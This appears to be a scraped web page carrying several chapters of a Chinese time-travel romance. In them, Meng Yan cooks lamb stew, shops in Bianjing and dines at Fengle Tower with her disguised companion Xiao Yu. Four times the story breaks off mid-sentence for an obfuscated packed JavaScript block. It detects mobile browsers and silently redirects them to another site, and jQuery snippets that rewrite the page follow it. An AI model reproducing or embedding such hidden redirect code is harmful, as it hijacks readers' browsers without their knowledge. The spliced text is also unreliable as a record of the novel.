床前的火炉依然烧的旺盛，她的衣物都放在了火炉旁烘着，已然没了昨日一早刺骨的冰寒。 孟嫣拥着被子坐了一会儿，越发对萧遇满意。 穿上衣裳，孟嫣来到堂屋，见萧遇已经坐在书案前，正在看她买的那几本志怪游记。 孟嫣同他打了个招呼，如常地去洗漱，将自己打理妥当后，回来笑盈盈问：“怀真，你可知丰乐楼在哪里？” 萧遇耳尖动了动，写道：景明坊。 这是哪里？ 孟嫣：“距离潘楼和马行街远吗？” 萧遇：不远。 孟嫣眼睛一亮：“今日我们可以去那边逛逛，晚些时候去丰乐楼吃饭，如何？” 萧遇看了她一眼，只觉孟小娘子的记性怎么这么差？ 写道：今日要装火阁。 昨日睡的太好，孟嫣早把这事忘了。 孟嫣：“那就明日？丰乐楼既然是京城数一数二的酒楼，自然要去尝尝其菜品味道如何。” 萧遇意味不明地看她一眼，轻轻颔首。 早饭后没多久，小院的大门被敲响。 七八个人抬着几扇漆木板架并一只大箱子进来了，为首的是个笑容和善的小老头，穿着一身上好的锦缎料子。 进来客气地同孟嫣招呼了一声，看见一身女装的萧遇时，眼皮抖了抖，用力压着唇角去问萧遇要将火阁装在何处。 孟嫣却笑着开了口：“就装在南窗吧，把床和矮榻都放进去。” 萧遇却暗暗观察着孟嫣。 床和矮榻？昨日他检查过矮榻，并没有什么机括。 难道财宝会藏在架子床中？ 小老头却先打量了一下小院，又让孟嫣带他去看了看床和矮榻，最后摇了摇头：“小娘子若是想将床也放入火阁中，火阁的尺寸可能不够，若是围着床搭建倒是可以，不过这样一来，火阁白日里恐怕没那么亮堂不说，柴炭消耗也会更多。” 孟嫣看了看萧遇，又看向伙计抬着的漆木板架，最后看向小老头：“不能加几扇板架吗？” 小老头却暗暗看向了萧遇。 萧遇朝他摇了摇头。 小老头“咳”了一声：“火阁板架都是配套的，其暗销衔接皆已固定，若是想扩大火阁，只能重新再打制一套。” 竟然是这样？ 孟嫣想了想矮榻的尺寸，其实也不小，只不过比起架子床要小上许多。 萧遇见孟嫣还在犹豫，便拉着她到书案处坐下，写道：现在冬初，日后更冷，火阁难得。 原来以后会更冷？ 孟嫣便不在犹豫，让小老头在南窗搭建火阁，只把矮榻放进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955301|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火阁搭建其实很快，就像几扇屏风把南窗围起来差不多。 不同的是，屏风之间以暗销衔接固定，再在其上搭上软帷用来挡风，火阁还有可以供人进出的门，也以厚厚的软帷隔档。 孟嫣的这套火阁约一人多高，人站在里面可以将视线完全遮挡住，形成一个私密空间。 将火炉放入其中，空间变小，又有软帷遮挡，再加上外面的日头，果然更暖。 萧遇又将桌案几凳也摆放了进去，平日里，孟嫣在此读书饮茶也不会冷着。 做完这些，孟嫣才细细看起火阁上的软帷来。 只觉触手柔软丝滑，似乎比她身上的衣裳料子还要好上许多，最重要的是，这套火阁包括人工加起来只要一贯钱。 孟嫣还是有些不敢置信，问萧遇：“汴京这样质地的火阁都是这个价钱吗？” 萧遇听后摇了摇头，拿过纸笔，写道：某大户不要，恰好遇到，请人清洗搭建，一贯钱。 原来这一贯钱是人工钱。 孟嫣咂舌，搭建火阁的人工钱竟这么贵！幸好怀真白捡了套人家不要的火阁。 孟嫣又轻轻抚摸火阁上丝滑的软帷，上面的刺绣也精致非常，暗道：这大户家的主母还真不会过日子啊！这么好的料子说不要就不要了，哪怕拿去卖给别人恐怕也不愁卖吧？再不济赏了家仆也好。 孟嫣又问：“汴京城的大户人家都这么慷慨吗？” 萧遇沉默一瞬，睁着眼瞎写道：奢靡成性，不当回事。 原来是奢靡惯了，看来这些东西也算不得什么。 现代孟嫣也看过不少新闻，说是有不少人去高档别墅区蹲守，靠拣别墅区的“垃圾”就能月入上万。 如果这是真的，看来这种情况竟是自古就有。 不过也幸好这大户主母不会过日子，否则又怎能便宜了她？ 孟嫣笑眼弯弯，悄声问：“你是不是有路子？” 萧遇发懵，疑惑看着孟嫣。 孟嫣又压着声音道：“就是捡那些大户人家不要的好东西的路子。” 如若不然，这么一套火阁怎么就让怀真捡到了？ 萧遇目光微微复杂，却也生出几分奇怪。 这套火阁用的并非名贵木料，也就软帷是以素色绫罗搭配刺绣绢纱，都没挂什么织锦套子，堂堂一个舶商之女竟似是见了什么稀罕物件一般。 看她刚刚那意思，竟是想去高门大户捡拾人家不要的东西？ 萧遇又想到早上将她的袄裤拿到火炉旁烘烤时，好像料子和昨日给他买的那身一样？ 是她故意为之以掩饰她其实没有钱？还是孟尚杰根本没留什么财物给她？ 孟嫣见萧遇是这副神色，以为是不想让自己知道那些路子。 也对，街巷的各家污秽都有固定的倾脚头负责，谁也不能越了界去，何况是捡拾好物这么好的事？怎能随随便便分他人一杯羹？ 是她鲁莽了。 她朝萧遇赔了个不是，笑吟吟转移话题道：“怀真，今日我们去大吃一顿吧！谢你把这么好的一套火阁让给我，你想吃什么？” 说到吃，萧遇将疑问暂时放下，骤然想到她做过的鸡和鱼，都是汴京不曾有过的味道。 萧遇写道：你会做羊吗？ 21. 羊蝎子 你会做羊吗？ 这是什么问法？是问她会不会下厨做羊肉？ 萧遇也意识到自己的问法过于突兀。 他现在是女使身份，应该不知她会做菜才对。 于是又找补写道：李四羊肉，不好吃。 孟嫣看了看字，又看了看萧遇。 可昨日她吃的不是挺香的？ 昨日又加几道菜时，还专门给她加了一份蒸软羊，她吃的挺满意的呀？ 孟嫣只是腹诽几句，却也没说出来。 她提出要谢萧怀真这套火阁，自然是真心相谢。 既然李四羊肉不好吃，那去别家吃就好了。 孟嫣：“李四家的不合胃口，那别家呢？可以选一家合胃口的，我们去吃。” 萧遇：都不如李四。 竟是这样？ 孟嫣想了想，她还真会做羊肉。 只不过还要看羊肉自身的品质如何。 若是羊肉本就膻味较重，即便用尽去膻增香的法子，做出来的羊肉也不好吃。 若是羊肉品质本就没的说，随便清炖煮煮就十分美味。 说道“炖煮”，孟嫣猛然想起羊蝎子火锅来。 其实，冬日与各种火锅最适配呀！ 热气腾腾围炉而坐，调上喜欢的蘸碟，各种肉蔬下入锅中，轻轻一涮，别提多惬意了。 她记得宋时是有形似火锅的这种吃法，起于山野之家，名字叫拨霞供。 因兔肉在热汤中涮煮时宛若云霞而得此名。 后来在一些文人雅士之间流行起来，皆是效仿山家清趣。 就是不知这时候有没有普及开来。 孟嫣试探问道：“你可听说过拨霞供？” 拨霞供？ 萧遇没听说过，遂摇了摇头。 是没流行还是不叫这个名字？ 孟嫣又问：“那将菜肉在热汤里一边涮煮，一边佐以调料蘸食，这种吃法有吗？” 萧遇想了想，汴京吃法都是将肉蔬蒸煮好装入盘中，再以调料佐食，却没有边煮边吃的。 何况若是边煮边吃，岂不是一群人要围着锅灶站着，缚着攀膊，伸着长箸，弓着腰去锅里捞食？ 即便他是武将，想到这样的画面，也觉得颇为不雅。 遂微微蹙起眉，又摇了摇头。 那就是真没有了。 孟嫣敲了敲手指。 羊蝎子火锅今日是吃不上了，因为没有锅，但是羊蝎子还是可以吃得上的。 不过这也提醒她了，可以去打一口铜锅备着，万一哪日想吃火锅也可以直接拿出来用。 既然火锅用锅都打了，自然也少不了烤鱼用的平锅。 孟嫣瞅了瞅火炉，再打个烤肉用的烤盘好了。 孟嫣：“那今日我们就吃羊蝎子吧！” 萧遇眼神变了变，写道：吃蝎子？ 孟嫣也惊悚了一下，解释道：“是羊蝎子，就是羊脊骨，因其从脖子到尾巴尖的骨架形状像蝎子，所以又名羊蝎子。” 萧遇也显而易见的松了口气，原来是羊骨。 食肆酒楼对羊骨的做法多达十数种，不知她会如何做？ 萧遇心底转了转，写道：我去买。 孟嫣想到她不能说话，便道：“我们同去，正好我还要去打几口锅。” 萧遇想到厨房里的各种锅灶已经不少，她还要再打几口，虽好奇却也没问，到时候就知道了。 二人先去了铜作铺子定制了一口铜锅，铜锅导热快，受热均匀，适合吃火锅。 孟嫣说了铜锅尺寸，又在纸上画了契合铜锅尺寸大小的九宫格。 萧遇和铜作匠人看的稀奇。 出来后，孟嫣为萧遇解释道：“这口锅日后专门用来吃火锅，至于那九宫格完全是为了方便，不同肉蔬可以放到不同的格子里涮煮。” 萧遇顿了顿，拉过孟嫣的手，又顿了顿，将她的手整个放在自己手心里，方才缓缓写道：火锅？ 孟嫣点点头：“就是在家里说过的那个可以一边涮煮，一边以调料蘸食的吃法，叫做火锅，等那口锅打好，下面再放上风炉，就可以用了。” 萧遇顿了顿，原来一边涮煮一边吃的这种吃法是要配相应的锅具才行，是他误会了。 萧遇又想了想吃火锅的画面，好像和风炉煮茶一样，只不过将茶铫换成铜锅，谓之火锅，倒是形象。 二人又去了专门打制铁锅的铁作铺子，打了一个长方形平锅和一个圆形烤盘，烤盘上镂刻上一些窄缝，用来滴漏烤肉时烤出的油脂。 孟嫣只形容了一下要打什么样式的，并未说用来做什么。 从铁作铺子出来，萧遇就拉过了她的手，没等他写，孟嫣就主动解释起来。 萧遇却也没放开她的手，而是悄悄将其手放入手心，在听孟嫣说这两口锅分别用来吃烤鱼和烤肉时，虽想知道这和炙鱼、炙肉有什么不同，却终究没问。 到时候他应该就能吃到了，他想。 二人买完做羊蝎子的食材和配料时，已经到了晌午，看来这顿羊蝎子只能晚上吃了。 中午二人随便吃了些就回去为晚饭做准备。 俗话说“最香不过骨边肉”，孟嫣除了买了羊脊骨，还买了一些羊排。 回来将脊骨和羊排清洗干净，再用清水泡上，将其血水泡出，这样能减少羊肉膻气。 做完这些，孟嫣就去歇晌小憩。 歇晌起来后，羊肉已经泡到肉白，血水已经都泡出来了。 萧遇在孟嫣的指挥下，将白萝卜、莲藕、白菜等菜蔬洗切出来，又将脊骨和羊排加入葱姜焯水。 孟嫣则将买来的酱料和卤料调好。 在孟嫣看来，很多菜的做法不过就是加入香料，放入主食材，再加调味料，需要爆炒的开大火，需要慢炖的用中小火，然后根据其他配料食材是否容易熟，再在不同的时间下锅即可。 只不过，食材需要增香的则需提前将香料爆香，食材需要去腥去味的则需提前或炒制过程中加入香料而已。 这道炖煮羊蝎子其实也差不多，香料炒香，下入羊蝎子和羊排翻炒上色，最后加入热水和调好的卤料大火煮开，之后转小火煨煮上两个时辰。 不废什么人力，却比较耗时。 羊肉的卤香味缓缓从厨房飘了出来，隔壁的林檎吸了吸鼻子，“蹭”地站起了身，想去爬墙头，被戍安眼急手快地按住。 林檎恨铁不成钢地拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962956|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了拍自己的这张脸，暗骂了一句“不争气！”，否则今日在隔壁光明正大吃羊肉的人就是他了。 即便如此，林檎还是眼巴巴地瞅着孟嫣的小院。 羊肉渐渐变得酥香软烂，已经倒入锅里的萝卜等菜蔬也已染上了羊肉香。 孟嫣盛出一大碗，让萧遇送去隔壁。 虽然上次吴郎君说，汴京厨娘替主家置办一场小宴值百两银子，她也美滋滋地收下了。 但她毕竟真没厨娘那两把刷子，最多就会做个菜，百两银子委实太多。 萧遇没想到孟嫣竟还记得隔壁的他，最后还是端起碗送了过去。 林檎不停地嗅着隔壁的味道，正盘算着晚上去偷两块肉吃，就见自家侯爷端着一只大碗进来了。 林檎眼睛亮了亮，看向自家侯爷。 萧遇：“孟小娘子给吴郎君的。” 林檎搓着手跳到萧遇面前，讨好道：“吴郎君已经授官去了江南，这碗肉，侯爷就赏我和戍安吧？” 萧遇将碗递给林檎：“到时候见到孟小娘子，解释一下。” 解释什么？自然是解释为何吴郎君授官去了江南，林檎和戍安二人却没跟着。 林檎一听，眼睛又亮了亮。 侯爷这是在说，他只要解释通了，日后孟小娘子再做什么吃食，他就可以光明正大地索要上一碗了！ 孟嫣炖煮的羊蝎子卤香醇厚，汤汁间又带了极其细微的辣味，和汴京城食肆里的卖相和味道均不同。 汴京口味清淡，即便相同的炖煮方法，也不会做成这般酱赤的颜色。 尤其羊肉，汴京人似乎更喜欢它本来的味道，肉香中带着些微的奶香，很少有厨人会将这丝奶香覆盖掉。 然而，孟嫣就是将这丝奶香覆盖掉了，取而代之的是豆酱、麦酱和各种香料混合在一起的馥郁香气。 卤料里的花椒、桂皮等香料本就有驱除寒邪、温热助阳、促进气血运行的功效，萧遇吃完只觉比往日喝了羊汤还暖。 其实边关的将士可以这么做来吃，比只加了胡椒的羊汤更加暖身，冬日可以更好的驱寒。 饭后，萧遇将碗盏送去厨房，请孟嫣将这道菜的方子写下来，让林檎寄到了边关。 日头已经西斜，午后的阳光还残留在火阁中，暖炉已经点着，火阁这一方天地暖洋洋一片。 孟嫣懒懒地倚在桌案上，一只手支着脑袋，看着眼前的一床矮榻，犹豫半晌还是说道：“怀真，今后……你也过来睡榻上吧。” 矮榻虽比架子上小上许多，却也够二人睡。她虽不习惯和人同床，但也做不到冬日里让一个姑娘家睡在冰冰冷冷的地方。 萧遇却摇了摇头，写道：我不怕冷。 孟嫣看她外裳里只穿了件袄子，在外面行走时也神色如常，看起来似是真不怕冷的样子。 即便如此，她还是做不到她自己睡在火阁。 萧遇见此，又写道：若不放心，就在外面给我加个火炉。 难道这就是古人紧紧遵守的规矩礼法？女使不同主家同睡？ 孟嫣见萧遇坚持，只好同意道：“那你去睡床上吧，床边放上火炉，被窝里也放上汤婆子。” 萧遇听此，心底松了口气。 22. 狐皮斗篷 夜幕降临，孟嫣已经睡熟。 萧遇悄悄起身，将架子床里里外外检查了一遍，依旧一无所获。 他出了屋子，朝隔壁院子扔了三次石子。 林檎和戍安冒出头来。 和昨夜一样，戍安为萧遇清洗面妆，林檎则被萧遇叫去了洗碗。 林檎心中感慨，虽然没能扮成女使，可女使的活是一点没少干。 翌日。 长窗的边角覆了层浅霜，只不过已经被火炉烘化，只剩几朵霜晶悬挂。 孟嫣惬意地伸了个懒腰，拿过火炉旁烘热的衣衫袄裤，慢吞吞地穿上。 出了火阁，孟嫣被扑面而来的寒气冰的一激灵。 短短几日，汴京的天又冷上了几分。 萧遇依旧在堂屋书案处看书，孟嫣却将目光放在了他通红的手上。 孟嫣抿了抿唇：“是不是很冷？” 萧遇从书中抬眸，厚重的头帘遮住了他的眉眼，顺着她的目光望向自己通红的手，摇了摇头，写道：不冷。 孟嫣又看了看他通红的手，道：“今晚在暖阁睡。” 这次是毫无商量的命令。 萧遇在刚刚的“不冷”二字前面加了个“真”字，一抬头，哪里还有孟嫣的影子？ 孟嫣去梳洗了。 水缸里也结了一层薄冰，早上萧遇用过水，冰碴只沿着水面上方的缸壁参差不齐地悬了一圈。 孟嫣舀了水倒入盆中，伸出一根手指探了探，真冰！ 这么冷的天，萧怀真还说自己不冷！ 孟嫣往盆里兑了热水，迅速地抹了两把脸又将头发梳起后回了堂屋。 早饭已经摆好，食案前也已经放了火炉。 孟嫣讶异，落座后就见今日早饭是肉饼和菜疏粥，除此之外，还有几碟辣菜和煎白肠。 孟嫣看了看食案，又看了看萧遇：“今日怎么想到张罗早饭了？” 孟嫣请女使，也只让她做些提水、烧水、洗衣、洒扫这样她做起来费劲的活计，从没想过事事都交由女使来做。 自然，她也没想到都可以交由女使来做。 萧遇却是在昨日早饭时恍然想到，女使好像应该要做这个，这才吩咐林檎掐着时间将早饭送来。 萧遇写道：昨日是我疏忽。 疏忽？疏忽什么？ 萧遇却没再解释，只写道：曹婆婆肉饼。 孟嫣再次望向食案，眼睛亮了亮：“就是李四家附近的那个曹婆婆肉饼？” 萧遇颔首。 去吃李四家那日回来，萧遇就见孟嫣的目光直勾勾地望着人家铺子，还不停地耸动着鼻子深嗅一口又嗅一口。 就知道她一定惦记着。 现在见她亮晶晶的眸子，果不其然。 萧遇夹了一个肉饼到她碗中，口型道：吃吧。 孟嫣不住点头，咬了一大口猛然抬头望着萧遇。 萧遇刚夹过一个肉饼，见此，有些不明所以，以眼神询问。 孟嫣三两下将肉饼囫囵咽下，道：“其实你会说话的，就是发不出声音，对不对？” 萧遇也才想起刚刚他以口型说了“吃吧”二字。 孟嫣：“今后你可以用口型跟我说话，我应该能猜个七七八八，这样我们说起话来就方便多了！” 萧遇挑了挑眉，这倒是个好主意，他当时怎么就没想到，非要写字呢？ 萧遇笑了笑，轻轻颔首。 孟嫣这才专心吃起饭来。 肉饼面皮油香劲道，里面的肉馅汁水丰盈，真不愧那么多人排队。 若是现买现吃，味道定然会更好。 今日二人要去丰乐楼，顺便在马行街逛逛。 吃过早饭，孟嫣就想着去车马行雇辆马车，萧遇却口型道：已经找好了。 孟嫣再次讶异。 没想到萧遇不会说话，办起事来却这般利落。 孟嫣已经不知第几次表现出对萧遇的满意了。 既然马车已经雇好，那就不要耽搁了，毕竟只在城内转悠，是按日算钱的。 二人穿戴严实，拿了银钱，出了门去。 孟嫣第一次坐马车，处处都觉得新奇。 马车里比她想象的宽敞，车壁装有灯盏，里面还设了桌案，上面放了茶水和一只小型火炉，坐榻下还都打了暗格，可以放一些吃用。 不仅如此，坐榻用料看起来十分考究，上面的软垫摸起来都和火阁上那套软帷差不多。 孟嫣：“汴京车马行的车都是这样的？这用上一日得多少钱呐！” 萧遇见她从上车开始就这摸摸，那碰碰，稀奇的不得了，就已经心下古怪。 现在见她这样问，更觉古怪。 难道她从未乘坐过这样的马车？ 据他所知，她平日出行乘坐的马车可比这华贵多了。 萧遇按下心中古怪，还是口型道：马车分上中下等，此为中等偏上，每日四百文。 四百文啊！ 孟嫣有几分肉疼，这能吃多少个曹婆婆肉饼了啊！ 转瞬想到是不是去丰乐楼要乘坐这样的马车才行？否则会不让进门？ 孟嫣问了出来。 萧遇却摇了摇头，口型道：丰乐楼，人人都可进。 孟嫣心底叹了叹。 马车于她而言不过是代步工具，只要干净就行。 至于华贵还是普通，她最终的目的是去吃，而非乘坐马车。 比起感官享受，终究不如吃进肚子里面实惠。 其实说来说去，还是她钱不够多，若是够多，她何必这般盘算计较？ 孟嫣沉默下来，虽然自己一直说着不着急赚钱，此刻却也生出一丝迫在眉睫来。 现代百姓能轻松过上的普通生活，在这里可是需要金钱堆积起来的。 孟嫣拢了拢斗篷，将车窗推开一条缝隙。 却见街巷上已然换了一副样子。 道路皆铺以砖石，比之州桥附近更加干净整洁，两侧的商铺看上去也更加崭新华丽。 马车行进中，孟嫣看到了一座热闹的酒楼，只是其门前用木料堆扎起一座……像现代工地上的手脚架似的东西，手脚架上皆缠了红红绿绿的彩绸，不知是在建还是已经竣工。 在手脚架下方的门头上挂了一面大大的牌匾，写着——“潘楼”。 孟嫣回头看向萧遇，问：“潘楼门前为何要搭那些架子？” 架子？ 萧遇也顺着窗缝望出去，骤然明白了孟嫣问的什么。 他神色疑顿地看着孟嫣，心底的古怪更深了。 萧遇藏起情绪，口型道：这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968425|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢门，很多大型酒楼食肆门前都会有。 萧遇见她惊讶的神色，又口型提醒：遇仙楼。 孟嫣想了想，李四家对面的酒楼就是遇仙楼，当日天色暗了，她并未注意，只记得其门前亮堂堂一片，古香古色跟现代景区似的。 难道那就是欢门？ 孟嫣又从窗缝望出去，马车已经拐进了马行街，看不到潘楼的影子了。 到了马行街，孟嫣让车夫先去皮货铺子，虽已经打消了买狐皮斗篷的想法，却也想看看狐皮斗篷究竟价格几何？ 车夫最终将马车停在了一家叫“丰裘阁”的铺子前。 进了铺子，里面已经有两位衣着华丽的女眷在了，两位伙计正在为其介绍讲解。 孟嫣和萧遇一进来，女眷齐齐看来，顿了顿，朝孟嫣颔首示意就继续看皮料了。 孟嫣心下则抖了抖，莫不是那二人认得原身？ 疑惑间，一名伙计迎上前来，热情地问孟嫣要看些什么。 孟嫣收起疑惑，轻声问：“你们这里可有狐皮斗篷？” 伙计先瞧了一眼孟嫣身上穿的这件，这才笑着低声道：“小娘子有所不知，今年狐皮紧俏，上个月到了一批，早早的就被各家定走了。” 伙计见孟嫣并未露出什么失望之色，只好又接着道：“不过这个月月底，还会有一批赤狐皮送来，虽比不上小娘子身上这件顶级白狐料子名贵，却也是今年成色最好的皮料了，小娘子可要定一件？” 孟嫣心下掀起惊涛骇浪，没想到自己身上这件竟是顶级狐皮料子？ 她看了一眼自己身上这件狐皮斗篷，不动声色问：“那这赤狐料子做成斗篷要多少银钱？” 伙计笑容更深了：“只需八十贯钱。” 孟嫣：“你可知哪里有这顶级狐皮料子？今年又价格几何？” 伙计挠了挠头：“不瞒小娘子，若是前些年，各家还能有这等成色的皮料，一件斗篷也要上百贯，这两年白狐皮料可是稀罕货了。” 孟嫣懂了，这两年白狐斗篷不止上百贯的价钱了。 她淡淡点了点头，谢过伙计，和萧遇出了铺子。 二人刚走，铺子里另外两位女眷同伙计打听，刚刚那位是谁？ 伙计也不知。 这位小娘子面生，身上却穿着件名贵的白狐斗篷，想来是哪位刚迁调入京的大员。 伙计将最近京中官员在脑子里过了一遍，好像只有三司户部使喻使官是刚迁调入京的，其有一女备受宠爱，且喻家太夫人和当今太后曾经还是闺中密友。 伙计觉得自己猜测的没错，便吐三分留三分道：“两位娘子想想最近哪位刚迁调入京，且身居高位，想来那位小娘子是其爱女。” 两位女眷对视一眼，心里有了底。 孟嫣对此一无所知。 她带着萧遇又逛了几家铺子，分别花了一百多文给萧遇买了副露指手衣和净面擦脸的面药、面脂。 露指手衣就是露指手套，可以护住手掌和手背。 孟嫣本想买带五指的，可并未见到，遂作罢。 想着回去在手背处缝上个帽子就行了，平日烧火、提水做活计时将指帽掀上去，不用时再放下来套手指上保暖。 这样逛了一圈下来，已然到了午饭时间，二人乘坐马车朝丰乐楼而去。 23. 侯府八卦 到了丰乐楼，孟嫣只觉潘楼门前的“手脚架”过于简单了。 丰乐楼门前的欢门布置的更大，也更热闹。 不仅在木架上缠了花花绿绿的彩绸，还在门前拉出一片彩旗灯棚，门两侧也都悬了栀子灯，门头牌匾洋洋洒洒上书“丰乐楼”。 不仅如此，丰乐楼共有五座楼阁，每座楼阁修得有三层之高，楼台高耸，甚是华丽。 五座楼阁之间以飞桥栏杆明暗相通，遥遥相向。 孟嫣不禁暗暗捂住了背在斗篷里面的斜挎包。 今日出门，想到还要在马行街逛逛，就在自己和萧遇身上各背了二十两银子，虽然二十两只有四个小银铤，却也一斤多重。 马行街这边的东西虽稍贵一些，日常用物和吃食也没贵到哪去。 此刻，却觉得这四十两银子可能不够花。 孟嫣有几分退缩。 转念就想到萧遇说过这里的吃食在京城可是首屈一指，那几分退缩就烟消云散了。 二人进店，孟嫣又被里面的陈设晃了眼。 与门相对的是一条笔直的主廊，虽为白日，却也廊灯相照。 主廊两侧设有散座，其上皆是银器碗盏，錾刻精美。 楼上两层皆是雅间，楼梯、廊楣悬彩绸珠灯，廊墙挂名家字画。 雅间皆珠帘绣额，烛灯一照，荧煌闪耀。 大堂里，伙计、食客往来穿梭，二楼三楼人声鼎沸，更有那纨绔高门凭栏垂望，与轻纱雾縠女子调笑盈盈。 一时之间，孟嫣不知自己究竟入了何处。 伙计迎上前来，没做多问就将二人迎上了二楼雅间，将孟嫣那句“坐大堂散座就好”硬生生憋了回去。 她也知道，今日无论在丰裘阁还是在丰乐楼得此和颜悦色的热情招待，全赖她身上这件狐皮斗篷。 若是没这件斗篷，估计人家连理都懒得理她。 孟嫣不禁悠悠地想：在这汴京城里，一百多两的衣裳就能得此热情招待了？马行街这边好像也并非她想象的那般奢贵。 二人已经到了雅间，落座后，孟嫣让伙计稍后再来，她要细细将菜单看上一遍。 萧遇一直暗暗观察着孟嫣，总有一种说不出的违和在她身上。 明明震惊于丰乐楼的奢华，却没像别人露怯，依旧从容自若。 明明从进门就有几分退缩，最后还是带着几分欢喜随着伙计上了楼。 百思不得其解后，萧遇把这一切都归于——有钱。 因为没见过这般奢华的酒楼，所以才会震惊，又因为她本就在金窝里长大，所以才从容自若。 那几分退缩，完全是因为今日只带了四十两银子，小娘子面皮薄，怕没带够。 至于后来的几分欢喜，是想起了有他在，若是银钱不够，可以让他回去取。 萧遇被自己说服了，不再多想她身上的那丝违和。 孟嫣专心地看着菜单，萧遇站在她身后。 偶尔孟嫣问上几句这道菜是什么？他以口型解释一下。 最后，二人点了入炉羊和鹅鸭排蒸两道肉菜，配以荷莲、决明二色兜子，加上一道三脆羹，自然少不了丰乐楼的当家酒酿——眉寿。 这次二人仅点了几道菜，皆因入炉羊乃整只羊羔入炉烤制，不存在吃不饱的问题。 等菜的间隙，孟嫣又将雅间打量了一翻。 雅间陈设一样豪奢，除却珠帘纱灯、名家字画，进门左侧靠墙还设了博古架，上面摆了几件看起来就价值不菲的瓷器摆件，其中一只白瓷瓶中还斜插了几只红梅。 与门相对的是一排长窗，长窗里有几扇是开着的，窗外是连廊景台，可以走至此处观景。 只是时值冬日，雅间虽燃了火炉，依旧有冷气扑进来。 孟嫣起身，正要去将长窗关上，就听连廊处传来一句“淑兰，你真的和长宁侯萧遇退亲了？” 长宁侯？萧遇？退亲？ 这可是侯爵的娱乐八卦！ 孟嫣又安安静静地坐了回去，示意萧遇也坐下，一起听八卦。 萧遇则眉心一跳。 只听还是那道声音：“不觉得可惜吗？怎么说也是侯爵呢！” 这才换了一道跋扈声音：“侯爵又如何？女子婚嫁又不是嫁给爵位，听说那长宁侯性情凶戾，一言不合就打人，日后谁要是嫁了他，不被活活打死也被活活吓死，我才不嫁他呢！” “这也是，都说那长宁侯样貌也十分可怖，只知道同官家提议出兵收复燕云，官家都厌了他了，几个月前直接将他从朝会上赶了回去，直到现在他都还赋闲在府呢！” 女子又悠悠叹道：“不嫁也好，就是你们家提退亲，日后于你的名声多少受些影响。” 退亲女子似是笑了一声，又道：“怎么会呢？两家祖父定亲时，他们家可还没有爵位，现在我父亲以他门第太高来退亲，别人只会说我们不攀附高门，有清流风骨。” 孟嫣还继续要听，二人点的菜送了上来，连廊的二人似是也回了雅间。 孟嫣动了动鼻子，入炉羊的焦香已经瓢在了鼻尖，惹得人食指大动。 待伙计出去后，二人就大快朵颐起来。 在孟嫣的印象里，羊肉就该这样吃才对，一小碟一小碟的，看着不过瘾，吃着更不过瘾。 二人谁也没多说话，专心致志地消灭眼前的这只肥羊，等终于解了馋，吃羊的速度才慢了下来，这才想起其他几道菜来。 孟嫣夹过一只决明兜子，咬了一口，又想起了刚刚连廊的八卦，囫囵咽下后悄声问：“你可知她们口中的长宁侯？” 萧遇也正将一只决明兜子送入口中，听此顿了顿，点了点头。 孟嫣：“他为何被官家从朝会上赶回去？真的像刚刚二人说的那样？” 萧遇将口中的吃食咽下，又点了点头。 孟嫣将咬过一口的兜子整只送入口中，缓缓嚼了起来。 良久，忽而“啧啧”两声，压着声音道：“这官家也太小气了，就因提议收复燕云就将人赶出了朝堂？” 萧遇心思一动，刚要口型问点什么，可看到孟嫣油光水亮的唇，自己定然也差不了多少。 自己油乎乎的唇被人这样盯着，终是有几分不自在，便移去她的身侧落座，拉过她的手写道：燕云该不该收回？ 孟嫣顿了顿，又夹了一只荷莲兜子。 燕云自然该收回。 不仅燕云该收回，被党项占去的河西亦该收回！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973459|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>丢了燕云，大宋就相当于丢了北边的屏障，游牧民族的骑兵就可以肆无忌惮地南下入侵，大宋边军一直处于被动。 丢了河西，大宋就相当于丢了天然马场，就相当于丢了战马来源，这又如何能与游牧民族的骑兵抗衡？ 只是，大宋有钱吗？换句话说，钱够花吗？ 大宋的军费开支并不低，并且还十分之高，可军队的战斗力却并不强。 一来丢失了抵抗游牧民族的天然屏障，只能靠人力被动防守，增耗兵力。 二来冗兵冗将，空额十分严重。 